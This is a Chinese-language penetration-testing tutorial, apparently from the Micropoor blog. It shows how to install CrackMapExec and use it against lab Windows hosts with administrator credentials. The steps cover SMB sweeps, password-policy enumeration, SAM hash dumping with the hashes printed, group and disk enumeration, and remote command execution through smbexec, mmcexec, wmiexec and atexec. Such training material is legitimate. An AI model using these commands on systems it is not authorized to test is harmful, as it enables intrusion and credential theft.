专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防肾结石，痛风等。

CrackMapExec弥补了MSF4下auxiliary，scanner模块下的Command执行方式，但MSF5已解决该问题。在MSF4下，该框架针对后渗透的横向移动经常出现，虽然MSF5已解决该问题，但该框架在配合bloodhound与empire依然目前有一定优势。

安装方式：from Wiki：

Kali：

1 apt‐get install crackmapexec

但作者推荐pipenv安装：

1 apt‐get install ‐y libssl‐dev libffi‐dev python‐dev build‐essential

2 pip install ‐‐user pipenv

3 git clone ‐‐recursive https://github.com/byt3bl33d3r/CrackMapExec

4 cd CrackMapExec && pipenv install

5 pipenv shell

6 python setup.py install

Mac OSX：

1 pip install ‐‐user crackmapexec

默认为100线程

1 cme smb 192.168.1.0/24

2 SMB 192.168.1.4 445 JOHN‐PC [\*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:JOHN‐PC) (domain:JOHN‐PC) (signing:False) (SMBv1:True)

3 SMB 192.168.1.119 445 WIN03X64 [\*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True)

密码策略

1 root@John:~# cme smb 192.168.1.119 ‐u administrator ‐p '123456' ‐‐pass ‐pol

2 SMB 192.168.1.119 445 WIN03X64 [\*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True)

3 SMB 192.168.1.119 445 WIN03X64 [+] WIN03X64\administrator:123456 (Pwn3 d!)

4 SMB 192.168.1.119 445 WIN03X64 [+] Dumping password info for domain: W IN03X64

5 SMB 192.168.1.119 445 WIN03X64 Minimum password length: None

6 SMB 192.168.1.119 445 WIN03X64 Password history length: None

7 SMB 192.168.1.119 445 WIN03X64 Maximum password age: 42 days 22 hours

47 minutes

8 SMB 192.168.1.119 445 WIN03X64

9 SMB 192.168.1.119 445 WIN03X64 Password Complexity Flags: 000000

10 SMB 192.168.1.119 445 WIN03X64 Domain Refuse Password Change: 0

11 SMB 192.168.1.119 445 WIN03X64 Domain Password Store Cleartext: 0

12 SMB 192.168.1.119 445 WIN03X64 Domain Password Lockout Admins: 0

13 SMB 192.168.1.119 445 WIN03X64 Domain Password No Clear Change: 0

14 SMB 192.168.1.119 445 WIN03X64 Domain Password No Anon Change: 0

15 SMB 192.168.1.119 445 WIN03X64 Domain Password Complex: 0

16 SMB 192.168.1.119 445 WIN03X64

17 SMB 192.168.1.119 445 WIN03X64 Minimum password age: None

18 SMB 192.168.1.119 445 WIN03X64 Reset Account Lockout Counter: 30 minut es

19 SMB 192.168.1.119 445 WIN03X64 Locked Account Duration: 30 minutes

20 SMB 192.168.1.119 445 WIN03X64 Account Lockout Threshold: None

21 SMB 192.168.1.119 445 WIN03X64 Forced Log off Time: Not Set 22

list hash

1 root@John:~# cme smb 192.168.1.119 ‐u administrator ‐p '123456' ‐‐sam

2 SMB 192.168.1.119 445 WIN03X64 [\*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True)

3 SMB 192.168.1.119 445 WIN03X64 [+] WIN03X64\administrator:123456 (Pwn3 d!)

4 SMB 192.168.1.119 445 WIN03X64 [+] Dumping SAM hashes

5 SMB 192.168.1.119 445 WIN03X64 Administrator:500:44efce164ab921caaad3b 435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

6 SMB 192.168.1.119 445 WIN03X64 Guest:501:aad3b435b51404eeaad3b435b5140 4ee:67f33d2095bda39fbf6b63fbadf2313a:::

7 SMB 192.168.1.119 445 WIN03X64 SUPPORT\_388945a0:1001:aad3b435b51404eea ad3b435b51404ee:f4d13c67c7608094c9b0e39147f07520:::

8 SMB 192.168.1.119 445 WIN03X64 IUSR\_WIN03X64:1003:dbec20afefb6cc332311 fb9822ba61ce:68c22a11c400d91fa4f66ff36b3c15dc:::

9 SMB 192.168.1.119 445 WIN03X64 IWAM\_WIN03X64:1004:ff783381e4e022de176c 59bf598409c7:7e456daac229ddceccf5f367aa69a487:::

10 SMB 192.168.1.119 445 WIN03X64 ASPNET:1008:cc26551b70faffc095feb73db16 b65ff:fec6e9e4a08319a1f62cd30447247f88:::

11 SMB 192.168.1.119 445 WIN03X64 [+] Added 6 SAM hashes to the database

枚举组

1 root@John:~# cme smb 192.168.1.119 ‐u administrator ‐p '123456' ‐‐loca l‐groups

2 SMB 192.168.1.119 445 WIN03X64 [\*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True)

3 SMB 192.168.1.119 445 WIN03X64 [+] WIN03X64\administrator:123456 (Pwn3 d!)

4 SMB 192.168.1.119 445 WIN03X64 [+] Enumerated local groups

5 SMB 192.168.1.119 445 WIN03X64 HelpServicesGroup membercount: 1

6 SMB 192.168.1.119 445 WIN03X64 IIS\_WPG membercount: 4

7 SMB 192.168.1.119 445 WIN03X64 TelnetClients membercount: 0

8 SMB 192.168.1.119 445 WIN03X64 Administrators membercount: 1

9 SMB 192.168.1.119 445 WIN03X64 Backup Operators membercount: 0

10 SMB 192.168.1.119 445 WIN03X64 Distributed COM Users membercount: 0

11 SMB 192.168.1.119 445 WIN03X64 Guests membercount: 2

12 SMB 192.168.1.119 445 WIN03X64 Network Configuration Operators memberc ount: 0

13 SMB 192.168.1.119 445 WIN03X64 Performance Log Users membercount: 1

14 SMB 192.168.1.119 445 WIN03X64 Performance Monitor Users membercount: 0

15 SMB 192.168.1.119 445 WIN03X64 Power Users membercount: 0

16 SMB 192.168.1.119 445 WIN03X64 Print Operators membercount: 0

17 SMB 192.168.1.119 445 WIN03X64 Remote Desktop Users membercount: 0

18 SMB 192.168.1.119 445 WIN03X64 Replicator membercount: 0

19 SMB 192.168.1.119 445 WIN03X64 Users membercount: 3

分别支持4种执行Command，如无--exec-method执行，默认为wmiexec执行。

mmcexec smbexec wmiexec atexec

基于smbexec执行Command

1 root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐exec‐m ethod smbexec ‐x 'net user'

2 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [\*] Windows Web Server 2008 R2 760

0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SM Bv1:True)

3 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\administrator:123456 (Pwn3d!)

4 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command via smbexec

5 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S \\ ���û��ʻ�

6 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S

7 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

8 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S Administrator Guest

9 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S ����������ϣ�������һ����������

10

基于dcom执行Command

1 root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐exec‐m ethod mmcexec ‐x 'whoami'

2 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [\*] Windows Web Server 2008 R2 760

0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SM Bv1:True)

3 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\administrator:123456 (Pwn3d!)

4 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command via mmcexec

5 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S win‐5bmi9hgc42s\administrator

基于wmi执行Command

1 root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐exec‐m ethod wmiexec ‐x 'whoami'

2 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [\*] Windows Web Server 2008 R2 760

0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SM Bv1:True)

3 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\administrator:123456 (Pwn3d!)

4 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command via wmiexec

5 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S win‐5bmi9hgc42s\administrator

基于AT执行Command

目标机：无运行calc进程

1 root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐exec‐m ethod atexec ‐x 'calc'

2 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [\*] Windows Web Server 2008 R2 760

0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SM Bv1:True)

3 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\administrator:123456 (Pwn3d!)

4 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command via atexec

默认采取wmiexec执行Command，参数为-x

1 root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐x 'whoa mi'

2 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [\*] Windows Web Server 2008 R2 760

0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SM Bv1:True)

3 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\administrator:123456 (Pwn3d!)

4 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Executed command

5 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S win‐5bmi9hgc42s\administrator

枚举目标机disk

1 root@John:~# cme smb 192.168.1.6 ‐u administrator ‐p '123456' ‐‐disks

2 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [\*] Windows Web Server 2008 R2 760

0 x64 (name:WIN‐5BMI9HGC42S) (domain:WIN‐5BMI9HGC42S) (signing:False) (SM Bv1:True)

3 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] WIN‐ 5BMI9HGC42S\administrator:123456 (Pwn3d!)

4 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S [+] Enumerated disks

5 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S C:

6 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S D:

7 SMB 192.168.1.6 445 WIN‐5BMI9HGC42S E:

附录：

解决出现：STATUS\_PIPE\_DISCONNECTED

改成经典

解决出现错误：UnicodeDecodeError:

升级impacket

Micropoor